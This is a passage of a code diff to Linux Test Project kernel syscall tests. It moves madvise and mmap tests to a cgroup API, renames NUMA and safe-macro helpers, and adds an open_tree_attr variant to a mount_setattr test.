+219,25 @@ static void child(void) } map[PAGES] = '\0'; - tst_res(TINFO, "Memory map: %s", map); + /* Only show memory map if there are issues or for debugging */ + if (corrupted || freed == 0) + tst_res(TINFO, "Memory map: %s (p=present, _=freed, ?=corrupted)", map); if (freed) - tst_res(TPASS, "Pages MADV_FREE were freed on low memory"); + tst_res(TPASS, "Pages MADV_FREE were freed on low memory (%u/%u freed)", freed, PAGES); else tst_res(TFAIL, "No MADV_FREE page was freed on low memory"); if (corrupted) - tst_res(TFAIL, "Found corrupted page"); + tst_res(TFAIL, "Found %u corrupted page(s)", corrupted); else tst_res(TPASS, "All pages have expected content"); - if (swap_accounting_enabled) - SAFE_FILE_PRINTF(memsw_limit_in_bytes_path, "%u", old_memsw_limit); - - SAFE_FILE_PRINTF(limit_in_bytes_path, "%u", old_limit); - - SAFE_MUNMAP(ptr, PAGES); + SAFE_MUNMAP(ptr, PAGES * page_size); exit(0); } -static void cleanup(void) -{ - if (cgroup_path[0] && !access(cgroup_path, F_OK)) - rmdir(cgroup_path); -} - static void run(void) { pid_t pid; @@ -275,14 +246,10 @@ static void run(void) retry: pid = SAFE_FORK(); - if (!pid) { - setup_cgroup_paths(getpid()); + if (!pid) child(); - } - setup_cgroup_paths(pid); SAFE_WAIT(&status); - cleanup(); /* * Rarely cgroup OOM kills both children not only the one that allocates @@ -302,14 +269,9 @@ retry: static void setup(void) { - long int swap_total; - - if (access(MEMCG_PATH, F_OK)) { - tst_brk(TCONF, "'" MEMCG_PATH - "' not present, CONFIG_MEMCG missing?"); - } + long swap_total; - if (!access(MEMCG_PATH "memory.memsw.limit_in_bytes", F_OK)) + if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) swap_accounting_enabled = 1; else tst_res(TINFO, "Swap accounting is disabled"); @@ -323,8 +285,8 @@ static void setup(void) static struct tst_test test = { .setup = setup, - .cleanup = cleanup, .test_all = run, .needs_root = 1, .forks_child = 1, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, }; diff --git a/ltp/testcases/kernel/syscalls/madvise/madvise11.c b/ltp/testcases/kernel/syscalls/madvise/madvise11.c index 422589f5..97d2b851 100644 --- a/ltp/testcases/kernel/syscalls/madvise/madvise11.c +++ b/ltp/testcases/kernel/syscalls/madvise/madvise11.c @@ -417,17 +417,14 @@ static void cleanup(void) static struct tst_test test = { .needs_root = 1, - .needs_drivers = (const char *const []) { - HW_MODULE, - NULL - }, - .needs_cmds = (const char *[]) { - "modprobe", - "rmmod", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "modprobe"}, + {.cmd = "rmmod"}, + {} }, .needs_kconfigs = (const char *[]) { "CONFIG_MEMORY_FAILURE=y", + "CONFIG_HWPOISON_INJECT", NULL }, .runtime = 30, diff --git a/ltp/testcases/kernel/syscalls/mbind/mbind01.c b/ltp/testcases/kernel/syscalls/mbind/mbind01.c index 4b8d168c..ace107af 100644 --- a/ltp/testcases/kernel/syscalls/mbind/mbind01.c +++ b/ltp/testcases/kernel/syscalls/mbind/mbind01.c @@ -17,7 +17,7 @@ #include "config.h" #include "numa_helper.h" #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #include "lapi/numaif.h" #ifdef HAVE_NUMA_V2 @@ -141,7 +141,7 @@ static void check_policy_pref_or_local(int policy) if (policy != MPOL_PREFERRED && policy != MPOL_LOCAL) { tst_res(TFAIL, "Wrong policy: %s(%d), " "expected MPOL_PREFERRED or MPOL_LOCAL", - tst_mempolicy_mode_name(policy), policy); + tse_mempolicy_mode_name(policy), policy); } } @@ -221,8 +221,8 @@ static void do_test(unsigned int i) tc->check_policy(policy); else if (tc->policy != policy) { tst_res(TFAIL, "Wrong policy: %s(%d), expected: %s(%d)", - tst_mempolicy_mode_name(policy), policy, - tst_mempolicy_mode_name(tc->policy), tc->policy); + tse_mempolicy_mode_name(policy), policy, + tse_mempolicy_mode_name(tc->policy), tc->policy); fail = 1; } if (tc->exp_nodemask) { diff --git a/ltp/testcases/kernel/syscalls/mbind/mbind02.c b/ltp/testcases/kernel/syscalls/mbind/mbind02.c index cd6a0322..00fb1553 100644 --- a/ltp/testcases/kernel/syscalls/mbind/mbind02.c +++ b/ltp/testcases/kernel/syscalls/mbind/mbind02.c @@ -21,25 +21,25 @@ # include <numaif.h> #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #ifdef HAVE_NUMA_V2 static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void verify_policy(int mode) @@ -50,11 +50,11 @@ static void verify_policy(int mode) unsigned long size = page_size; int node = 0; - ptr = tst_numa_map(NULL, size); - tst_nodemap_reset_counters(nodes); - tst_numa_fault(ptr, size); - tst_nodemap_count_pages(nodes, ptr, size); - tst_nodemap_print_counters(nodes); + ptr = tse_numa_map(NULL, size); + tse_nodemap_reset_counters(nodes); + tse_numa_fault(ptr, size); + tse_nodemap_count_pages(nodes, ptr, size); + tse_nodemap_print_counters(nodes); for (i = 0; i < nodes->cnt; i++) { if (!nodes->counters[i]) { @@ -67,24 +67,24 @@ static void verify_policy(int mode) TEST(mbind(ptr, size, mode, bm->maskp, bm->size + 1, MPOL_MF_STRICT)); - tst_numa_unmap(ptr, size); + tse_numa_unmap(ptr, size); numa_free_nodemask(bm); if (TST_RET != -1) { tst_res(TFAIL, "mbind(%s, MPOL_MF_STRICT) node %u returned %li, expected -1", - tst_mempolicy_mode_name(mode), node, TST_RET); + tse_mempolicy_mode_name(mode), node, TST_RET); return; } if (TST_ERR == EIO) { tst_res(TPASS | TTERRNO, "mbind(%s, MPOL_MF_STRICT) node %u", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); } else { tst_res(TFAIL | TTERRNO, "mbind(%s, MPOL_MF_STRICT) node %u expected EIO", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); } } diff --git a/ltp/testcases/kernel/syscalls/mbind/mbind03.c b/ltp/testcases/kernel/syscalls/mbind/mbind03.c index 3d477c9c..6a026c6a 100644 --- a/ltp/testcases/kernel/syscalls/mbind/mbind03.c +++ b/ltp/testcases/kernel/syscalls/mbind/mbind03.c @@ -18,25 +18,25 @@ # include "mbind.h" #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #ifdef HAVE_NUMA_V2 static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void verify_policy(int mode, unsigned flag) @@ -47,11 +47,11 @@ static void verify_policy(int mode, unsigned flag) unsigned long size = page_size; unsigned int node = 0; - ptr = tst_numa_map(NULL, size); - tst_nodemap_reset_counters(nodes); - tst_numa_fault(ptr, size); - tst_nodemap_count_pages(nodes, ptr, size); - tst_nodemap_print_counters(nodes); + ptr = tse_numa_map(NULL, size); + tse_nodemap_reset_counters(nodes); + tse_numa_fault(ptr, size); + tse_nodemap_count_pages(nodes, ptr, size); + tse_nodemap_print_counters(nodes); for (i = 0; i < nodes->cnt; i++) { if (!nodes->counters[i]) { @@ -67,15 +67,15 @@ static void verify_policy(int mode, unsigned flag) if (TST_RET) { tst_res(TFAIL | TTERRNO, "mbind(%s, %s) node %u", - tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node); + tse_mempolicy_mode_name(mode), mbind_flag_name(flag), node); goto exit; } else { tst_res(TPASS, "mbind(%s, %s) node %u succeded", - tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node); + tse_mempolicy_mode_name(mode), mbind_flag_name(flag), node); } - tst_nodemap_reset_counters(nodes); - tst_nodemap_count_pages(nodes, ptr, size); + tse_nodemap_reset_counters(nodes); + tse_nodemap_count_pages(nodes, ptr, size); for (i = 0; i < nodes->cnt; i++) { if (nodes->map[i] == node) { @@ -95,7 +95,7 @@ static void verify_policy(int mode, unsigned flag) } exit: - tst_numa_unmap(ptr, size); + tse_numa_unmap(ptr, size); numa_free_nodemask(bm); } diff --git a/ltp/testcases/kernel/syscalls/mbind/mbind04.c b/ltp/testcases/kernel/syscalls/mbind/mbind04.c index 50028835..2cab7aac 100644 --- a/ltp/testcases/kernel/syscalls/mbind/mbind04.c +++ b/ltp/testcases/kernel/syscalls/mbind/mbind04.c @@ -18,12 +18,12 @@ # include "mbind.h" #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #ifdef HAVE_NUMA_V2 static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; #define PAGES_ALLOCATED 16u @@ -31,14 +31,14 @@ static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void verify_policy(unsigned int node, int mode, unsigned flag) @@ -51,7 +51,7 @@ static void verify_policy(unsigned int node, int mode, unsigned flag) numa_bitmask_setbit(bm, node); - ptr = tst_numa_map(NULL, size); + ptr = tse_numa_map(NULL, size); TEST(mbind(ptr, size, mode, bm->maskp, bm->size + 1, flag)); @@ -60,12 +60,12 @@ static void verify_policy(unsigned int node, int mode, unsigned flag) if (TST_RET) { tst_res(TFAIL | TTERRNO, "mbind(%s, %s) node %u", - tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node); + tse_mempolicy_mode_name(mode), mbind_flag_name(flag), node); return; } tst_res(TPASS, "mbind(%s, %s) node %u", - tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node); + tse_mempolicy_mode_name(mode), mbind_flag_name(flag), node); const char *prefix = "child: "; @@ -75,10 +75,10 @@ static void verify_policy(unsigned int node, int mode, unsigned flag) tst_reap_children(); } - tst_nodemap_reset_counters(nodes); - tst_numa_fault(ptr, size); - tst_nodemap_count_pages(nodes, ptr, size); - tst_numa_unmap(ptr, size); + tse_nodemap_reset_counters(nodes); + tse_numa_fault(ptr, size); + tse_nodemap_count_pages(nodes, ptr, size); + tse_numa_unmap(ptr, size); int fail = 0; @@ -104,7 +104,7 @@ static void verify_policy(unsigned int node, int mode, unsigned flag) } if (fail) - tst_nodemap_print_counters(nodes); + tse_nodemap_print_counters(nodes); if (!pid) exit(0); diff --git a/ltp/testcases/kernel/syscalls/memfd_create/memfd_create01.c b/ltp/testcases/kernel/syscalls/memfd_create/memfd_create01.c index bdc0c851..73f6b01e 100644 --- a/ltp/testcases/kernel/syscalls/memfd_create/memfd_create01.c +++ b/ltp/testcases/kernel/syscalls/memfd_create/memfd_create01.c @@ -2,13 +2,11 @@ /* * Copyright (c) Linux Test Project, 2017-2020 * Copyright (C) 2017 Red Hat, Inc. + * Port to LTP <jracek@redhat.com> */ -/* - * Based on Linux/tools/testing/selftests/memfd/memfd_test.c - * by David Herrmann <dh.herrmann@gmail.com> - * - * 24/02/2017 Port to LTP <jracek@redhat.com> +/*\ + * Test based on :kselftest:`memfd/memfd_test.c`. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/memfd_create/memfd_create02.c b/ltp/testcases/kernel/syscalls/memfd_create/memfd_create02.c index b9ddc082..fe6a875e 100644 --- a/ltp/testcases/kernel/syscalls/memfd_create/memfd_create02.c +++ b/ltp/testcases/kernel/syscalls/memfd_create/memfd_create02.c @@ -1,14 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2017 Red Hat, Inc. + * Port to LTP <jracek@redhat.com> */ - /* - * Based on Linux/tools/testing/selftests/memfd/memfd_test.c - * by David Herrmann <dh.herrmann@gmail.com> - * - * 24/02/2017 Port to LTP <jracek@redhat.com> - */ +/*\ + * Test based on :kselftest:`memfd/memfd_test.c`. + */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c b/ltp/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c index 198ba381..428ca9a4 100644 --- a/ltp/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c +++ b/ltp/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c @@ -37,7 +37,7 @@ #include <pwd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/syscalls.h" #include "numa_helper.h" #include "migrate_pages_common.h" diff --git a/ltp/testcases/kernel/syscalls/mincore/mincore01.c b/ltp/testcases/kernel/syscalls/mincore/mincore01.c index 03ec3b4e..ed2f9e3b 100644 --- a/ltp/testcases/kernel/syscalls/mincore/mincore01.c +++ b/ltp/testcases/kernel/syscalls/mincore/mincore01.c @@ -43,7 +43,7 @@ #include <sys/types.h> #include <sys/stat.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static int pagesize; static rlim_t STACK_LIMIT = 10485760; diff --git a/ltp/testcases/kernel/syscalls/mkdirat/mkdirat01.c b/ltp/testcases/kernel/syscalls/mkdirat/mkdirat01.c index ca536bda..f1ad19bf 100644 --- a/ltp/testcases/kernel/syscalls/mkdirat/mkdirat01.c +++ b/ltp/testcases/kernel/syscalls/mkdirat/mkdirat01.c @@ -35,7 +35,7 @@ #include <string.h> #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static void setup(void); static void cleanup(void); diff --git a/ltp/testcases/kernel/syscalls/mknodat/mknodat01.c b/ltp/testcases/kernel/syscalls/mknodat/mknodat01.c index 3be0a4f8..d7f4cca1 100644 --- a/ltp/testcases/kernel/syscalls/mknodat/mknodat01.c +++ b/ltp/testcases/kernel/syscalls/mknodat/mknodat01.c @@ -33,7 +33,7 @@ #include <string.h> #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #define PATHNAME "mknodattestdir" diff --git a/ltp/testcases/kernel/syscalls/mknodat/mknodat02.c b/ltp/testcases/kernel/syscalls/mknodat/mknodat02.c index fdac5db1..2f7c56f0 100644 --- a/ltp/testcases/kernel/syscalls/mknodat/mknodat02.c +++ b/ltp/testcases/kernel/syscalls/mknodat/mknodat02.c @@ -35,7 +35,7 @@ #include <sys/mount.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #include "lapi/syscalls.h" diff --git a/ltp/testcases/kernel/syscalls/mlockall/mlockall02.c b/ltp/testcases/kernel/syscalls/mlockall/mlockall02.c index 6524cb4a..2eddf4c0 100644 --- a/ltp/testcases/kernel/syscalls/mlockall/mlockall02.c +++ b/ltp/testcases/kernel/syscalls/mlockall/mlockall02.c @@ -77,7 +77,7 @@ #include <pwd.h> #include <sys/mman.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include <sys/resource.h> void setup(); diff --git a/ltp/testcases/kernel/syscalls/mlockall/mlockall03.c b/ltp/testcases/kernel/syscalls/mlockall/mlockall03.c index a505891f..0b395737 100644 --- a/ltp/testcases/kernel/syscalls/mlockall/mlockall03.c +++ b/ltp/testcases/kernel/syscalls/mlockall/mlockall03.c @@ -79,7 +79,7 @@ #include <ctype.h> #include <sys/mman.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include <sys/resource.h> #include <sys/utsname.h> diff --git a/ltp/testcases/kernel/syscalls/mmap/mmap04.c b/ltp/testcases/kernel/syscalls/mmap/mmap04.c index 4a050b7b..5b28180d 100644 --- a/ltp/testcases/kernel/syscalls/mmap/mmap04.c +++ b/ltp/testcases/kernel/syscalls/mmap/mmap04.c @@ -58,7 +58,8 @@ static void run(unsigned int i) addr2 = SAFE_MMAP(addr1 + pagesize, pagesize, tc->prot, tc->flags | MAP_FIXED, -1, 0); - sprintf(fmt, "%" PRIxPTR "-%%*x %%s", (uintptr_t)addr2); + /* A /proc/self/maps address is at least 8 hex (left zero padded) */ + sprintf(fmt, "%08" PRIxPTR "-%%*x %%s", (uintptr_t)addr2); SAFE_FILE_LINES_SCANF("/proc/self/maps", fmt, perms); if (!strcmp(perms, tc->exp_perms)) { diff --git a/ltp/testcases/kernel/syscalls/mmap/mmap09.c b/ltp/testcases/kernel/syscalls/mmap/mmap09.c index 8c6b514a..f2d69526 100644 --- a/ltp/testcases/kernel/syscalls/mmap/mmap09.c +++ b/ltp/testcases/kernel/syscalls/mmap/mmap09.c @@ -43,7 +43,7 @@ static void verify_mmap(unsigned int nr) static void setup(void) { - fd = SAFE_OPEN("/tmp/mmaptest", O_RDWR | O_CREAT, 0666); + fd = SAFE_OPEN("mmaptest", O_RDWR | O_CREAT, 0666); /* set the file to initial size */ SAFE_FTRUNCATE(fd, MAPSIZE); diff --git a/ltp/testcases/kernel/syscalls/mmap/mmap22.c b/ltp/testcases/kernel/syscalls/mmap/mmap22.c index 1507fdfa..0b95c578 100644 --- a/ltp/testcases/kernel/syscalls/mmap/mmap22.c +++ b/ltp/testcases/kernel/syscalls/mmap/mmap22.c @@ -4,31 +4,49 @@ */ /*\ - * [Description] + * Test :manpage:`mmap(2)` with MAP_DROPPABLE flag. * - * Test mmap(2) with MAP_DROPPABLE flag. + * Test based on :kselftest:`mm/droppable.c`. * - * Test base on kernel selftests/mm/droppable.c + * Ensure that memory allocated with MAP_DROPPABLE can be reclaimed + * under memory pressure within a cgroup. */ #define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <sys/types.h> +#include <sys/mman.h> +#include <unistd.h> +#include <signal.h> +#include <sys/wait.h> #include "tst_test.h" #include "lapi/mmap.h" +#include "tst_safe_macros.h" #define MEM_LIMIT (256 * TST_MB) #define ALLOC_SIZE (128 * TST_MB) static struct tst_cg_group *cg_child; +static pid_t child; +static int page_size; + +static void stress_child(void) +{ + for (;;) { + char *buf = malloc(page_size); + + if (!buf) + exit(1); + memset(buf, 'B', page_size); + } +} static void test_mmap(void) { - size_t alloc_size = ALLOC_SIZE; - size_t page_size = getpagesize(); char *alloc; - pid_t child; + unsigned char *vec; + size_t npages = ALLOC_SIZE / page_size; cg_child = tst_cg_group_mk(tst_cg, "child"); SAFE_CG_PRINTF(tst_cg, "memory.max", "%d", MEM_LIMIT); @@ -38,38 +56,44 @@ static void test_mmap(void) SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%d", MEM_LIMIT); SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); - alloc = SAFE_MMAP(0, alloc_size, PROT_READ | PROT_WRITE, + alloc = SAFE_MMAP(0, ALLOC_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_DROPPABLE, -1, 0); - memset(alloc, 'A', alloc_size); - for (size_t i = 0; i < alloc_size; i += page_size) { - if (alloc[i] != 'A') - tst_res(TFAIL, "memset failed"); - } + memset(alloc, 'A', ALLOC_SIZE); + + vec = SAFE_MALLOC(npages); child = SAFE_FORK(); - if (!child) { - for (;;) - *(char *)malloc(page_size) = 'B'; - } + if (!child) + stress_child(); - while (1) { - for (size_t i = 0; i < alloc_size; i += page_size) { - if (!tst_remaining_runtime()) { - tst_res(TFAIL, "MAP_DROPPABLE did not drop memory within the timeout period."); - goto kill_child; - } - if (!alloc[i]) { - tst_res(TPASS, "MAP_DROPPABLE test pass."); - goto kill_child; + for (;;) { + if (!tst_remaining_runtime()) { + tst_res(TFAIL, "MAP_DROPPABLE did not drop pages within timeout"); + goto cleanup; + } + + SAFE_MINCORE(alloc, ALLOC_SIZE, vec); + + for (size_t i = 0; i < npages; i++) { + if (!(vec[i] & 1)) { + tst_res(TPASS, "MAP_DROPPABLE page reclaimed by kernel"); + goto cleanup; } } + + usleep(100000); } -kill_child: - SAFE_KILL(child, SIGKILL); - SAFE_WAITPID(child, NULL, 0); - SAFE_MUNMAP(alloc, alloc_size); +cleanup: + if (child > 0) { + SAFE_KILL(child, SIGKILL); + SAFE_WAITPID(child, NULL, 0); + } + SAFE_MUNMAP(alloc, ALLOC_SIZE); + free(vec); + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child = tst_cg_group_rm(cg_child); } static void setup(void) @@ -84,6 +108,7 @@ static void setup(void) tst_brk(TBROK | TERRNO, "mmap() MAP_DROPPABLE failed"); SAFE_MUNMAP(addr, 1); + page_size = getpagesize(); } static void cleanup(void) diff --git a/ltp/testcases/kernel/syscalls/mount/mount03.c b/ltp/testcases/kernel/syscalls/mount/mount03.c index 98be3dc0..8dd6f3ee 100644 --- a/ltp/testcases/kernel/syscalls/mount/mount03.c +++ b/ltp/testcases/kernel/syscalls/mount/mount03.c @@ -120,7 +120,7 @@ static void test_file_dir_noatime(int update_fatime, int update_datime) SAFE_CLOSEDIR(test_dir); dir_atime = dir_st.st_atime; - usleep(1001000); + usleep(1500000); SAFE_READ(0, otfd, readbuf, sizeof(readbuf)); SAFE_FSTAT(otfd, &st); diff --git a/ltp/testcases/kernel/syscalls/mount/mount07.c b/ltp/testcases/kernel/syscalls/mount/mount07.c index 30fd3080..f1b890fd 100644 --- a/ltp/testcases/kernel/syscalls/mount/mount07.c +++ b/ltp/testcases/kernel/syscalls/mount/mount07.c @@ -6,12 +6,12 @@ /*\ * It is a basic test for MS_NOSYMFOLLOW mount option and is copied - * from kernel selftests nosymfollow-test.c. + * from :kselftest:`mount/nosymfollow-test.c`. * * It tests to make sure that symlink traversal fails with ELOOP when * 'nosymfollow' is set, but symbolic links can still be created, and - * readlink(2) and realpath(3) still work properly. It also verifies - * that statfs(2) correctly returns ST_NOSYMFOLLOW. + * :manpage:`readlink(2)` and :manpage:`realpath(3)` still work properly. It also verifies + * that :manpage:`statfs(2)` correctly returns ST_NOSYMFOLLOW. */ #include <limits.h> diff --git a/ltp/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c b/ltp/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c index eb32cd91..14927e10 100644 --- a/ltp/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c +++ b/ltp/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c @@ -3,10 +3,11 @@ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. * Author: Dai Shili <daisl.fnst@fujitsu.com> * Author: Chen Hanxiao <chenhx.fnst@fujitsu.com> + * Copyright (C) 2025 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> */ /*\ - * Basic mount_setattr() test. + * Basic mount_setattr()/open_tree_attr() test. * Test whether the basic mount attributes are set correctly. * * Verify some MOUNT_SETATTR(2) attributes: @@ -22,7 +23,8 @@ * - MOUNT_ATTR_NODIRATIME - prevents updating access time for * directories on this mount * - * The functionality was added in v5.12. + * The mount_setattr functionality was added in v5.12, while the open_tree_attr + * functionality was added in v6.15. */ #define _GNU_SOURCE @@ -30,6 +32,7 @@ #include <sys/statvfs.h> #include "tst_test.h" #include "lapi/fsmount.h" +#include "lapi/syscalls.h" #define MNTPOINT "mntpoint" #define OT_MNTPOINT "ot_mntpoint" @@ -40,7 +43,23 @@ .expect_attrs = exp_attrs \ } +static int open_tree_variant1(struct mount_attr *attr); +static int open_tree_variant2(struct mount_attr *attr); + static int mount_flag, otfd = -1; +struct mount_attr *attr; + +static struct tsetattr_variant { + int (*child_variant)(struct mount_attr *attr); + char *desc; +} tvariants[] = { +#if (__NR_mount_setattr != __LTP__NR_INVALID_SYSCALL) + { .child_variant = &open_tree_variant1, "mount_setattr()" }, +#endif +#if (__NR_open_tree_attr != __LTP__NR_INVALID_SYSCALL) + { .child_variant = &open_tree_variant2, "open_tree_attr()"}, +#endif +}; static struct tcase { char *name; @@ -66,39 +85,62 @@ static void cleanup(void) static void setup(void) { fsopen_supported_by_kernel(); - struct stat st = {0}; - if (stat(OT_MNTPOINT, &st) == -1) + if (access(OT_MNTPOINT, F_OK) != 0) SAFE_MKDIR(OT_MNTPOINT, 0777); } +static int open_tree_variant1(struct mount_attr *attr) +{ + tst_res(TINFO, "Using variant open_tree() + mount_setattr()"); + + otfd = TST_EXP_FD_SILENT(open_tree(AT_FDCWD, MNTPOINT, + AT_EMPTY_PATH | OPEN_TREE_CLONE)); + if (otfd == -1) + return -1; + + TST_EXP_PASS(mount_setattr(otfd, "", AT_EMPTY_PATH, + attr, sizeof(*attr))); + if (TST_RET == -1) { + SAFE_CLOSE(otfd); + return -1; + } + + return otfd; +} + +static int open_tree_variant2(struct mount_attr *attr) +{ + otfd = TST_EXP_FD(open_tree_attr(AT_FDCWD, MNTPOINT, + AT_EMPTY_PATH | OPEN_TREE_CLONE, + attr, sizeof(*attr))); + + return otfd; +} + static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - struct mount_attr attr = { - .attr_set = tc->mount_attrs, - }; + struct tsetattr_variant *tv = &tvariants[tst_variant]; struct statvfs buf; - TST_EXP_FD_SILENT(open_tree(AT_FDCWD, MNTPOINT, AT_EMPTY_PATH | - AT_SYMLINK_NOFOLLOW | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE)); - if (!TST_PASS) - return; + tst_res(TINFO, "Using variant %s", tv->desc); - otfd = (int)TST_RET; + memset(attr, 0, sizeof(*attr)); + attr->attr_set = tc->mount_attrs; - TST_EXP_PASS_SILENT(mount_setattr(otfd, "", AT_EMPTY_PATH, &attr, sizeof(attr)), - "%s set", tc->name); - if (!TST_PASS) - goto out1; + otfd = tv->child_variant(attr); + if (otfd == -1) + goto out2; TST_EXP_PASS_SILENT(move_mount(otfd, "", AT_FDCWD, OT_MNTPOINT, MOVE_MOUNT_F_EMPTY_PATH)); if (!TST_PASS) goto out1; + mount_flag = 1; SAFE_CLOSE(otfd); - TST_EXP_PASS_SILENT(statvfs(OT_MNTPOINT, &buf), "statvfs sucess"); + TST_EXP_PASS_SILENT(statvfs(OT_MNTPOINT, &buf), "statvfs success"); if (!TST_PASS) goto out2; @@ -123,9 +165,14 @@ static struct tst_test test = { .test = run, .setup = setup, .cleanup = cleanup, + .test_variants = ARRAY_SIZE(tvariants), .needs_root = 1, .mount_device = 1, .mntpoint = MNTPOINT, .all_filesystems = 1, - .skip_filesystems = (const char *const []){"fuse", NULL}, + .skip_filesystems = (const char *const []) {"fuse", NULL}, + .bufs = (struct tst_buffers []) { + {&attr, .size = sizeof(struct mount_attr)}, + {} + } }; diff --git a/ltp/testcases/kernel/syscalls/move_pages/move_pages11.c b/ltp/testcases/kernel/syscalls/move_pages/move_pages11.c index dec930b0..1af38e40 100644 --- a/ltp/testcases/kernel/syscalls/move_pages/move_pages11.c +++ b/ltp/testcases/kernel/syscalls/move_pages/move_pages11.c @@ -59,7 +59,7 @@ #include <errno.h> #include <pwd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "move_pages_support.h" #define TEST_PAGES 2 diff --git a/ltp/testcases/kernel/syscalls/mprotect/mprotect01.c b/ltp/testcases/kernel/syscalls/mprotect/mprotect01.c index aa468525..0786159a 100644 --- a/ltp/testcases/kernel/syscalls/mprotect/mprotect01.c +++ b/ltp/testcases/kernel/syscalls/mprotect/mprotect01.c @@ -44,7 +44,7 @@ #include <unistd.h> #include "test.h" #include "lapi/syscalls.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "mprotect01"; int TST_TOTAL = 3; diff --git a/ltp/testcases/kernel/syscalls/mprotect/mprotect02.c b/ltp/testcases/kernel/syscalls/mprotect/mprotect02.c index de894868..21e05e71 100644 --- a/ltp/testcases/kernel/syscalls/mprotect/mprotect02.c +++ b/ltp/testcases/kernel/syscalls/mprotect/mprotect02.c @@ -41,7 +41,7 @@ #include <stdlib.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static void sighandler(int sig); static void cleanup(void); diff --git a/ltp/testcases/kernel/syscalls/mprotect/mprotect03.c b/ltp/testcases/kernel/syscalls/mprotect/mprotect03.c index 8ef64f21..01e958e6 100644 --- a/ltp/testcases/kernel/syscalls/mprotect/mprotect03.c +++ b/ltp/testcases/kernel/syscalls/mprotect/mprotect03.c @@ -46,7 +46,7 @@ #include <sys/wait.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #ifndef PAGESIZE #define PAGESIZE 4096 diff --git a/ltp/testcases/kernel/syscalls/mprotect/mprotect04.c b/ltp/testcases/kernel/syscalls/mprotect/mprotect04.c index 6c7f6bd0..d737dff5 100644 --- a/ltp/testcases/kernel/syscalls/mprotect/mprotect04.c +++ b/ltp/testcases/kernel/syscalls/mprotect/mprotect04.c @@ -37,7 +37,7 @@ #include <stdlib.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static void sighandler(int sig); @@ -152,11 +152,10 @@ static int page_present(void *p) static void clear_cache(void *start, int len) { -#if HAVE_BUILTIN_CLEAR_CACHE == 1 - __builtin___clear_cache(start, start + len); +#ifdef HAVE_CLEAR_CACHE + __clear_cache(start, start + len); #else - tst_brkm(TCONF, cleanup, - "compiler doesn't have __builtin___clear_cache()"); + tst_brkm(TCONF, cleanup, "compiler doesn't have __clear_cache()"); #endif } diff --git a/ltp/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c b/ltp/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c index 